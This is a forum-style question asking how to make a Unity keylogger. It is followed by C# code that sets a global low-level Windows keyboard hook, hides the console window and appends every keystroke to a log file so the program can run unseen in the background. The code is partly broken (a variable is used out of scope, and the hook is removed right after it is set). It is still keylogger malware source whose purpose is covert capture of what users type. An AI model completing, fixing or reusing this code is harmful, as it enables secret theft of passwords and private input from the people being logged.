So I’m trying to make a simple keylogger with Unity, writing to a txt file, any key that is pressed. But for some reason it does work in Visual Studio, but not inside unity. So is there maybe a function in unity to already do this?
I just need all the letter characters, that are typed by a computer user, to be stored in a string, but it’s important that you can have the application run in background.
Here’s what I have now, which doesn’t really work… 
using UnityEngine;
using System.Collections;
using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
public class keylogger : MonoBehaviour {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
// Use this for initialization
void Start () {
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
_hookID = SetHook(_proc);
UnhookWindowsHookEx(_hookID);
}
// Update is called once per frame
void Update () {
UnityEngine.Debug.Log((Keys)vkCode);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(UnityEngine.Application.dataPath.LastIndexOf (“/”) + “/log.txt”, true);
sw.Write((Keys)vkCode);
// _show += new EventHandler(MessageWord);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport(“kernel32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(“kernel32.dll”)]
static extern IntPtr GetConsoleWindow();
[DllImport(“user32.dll”)]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
}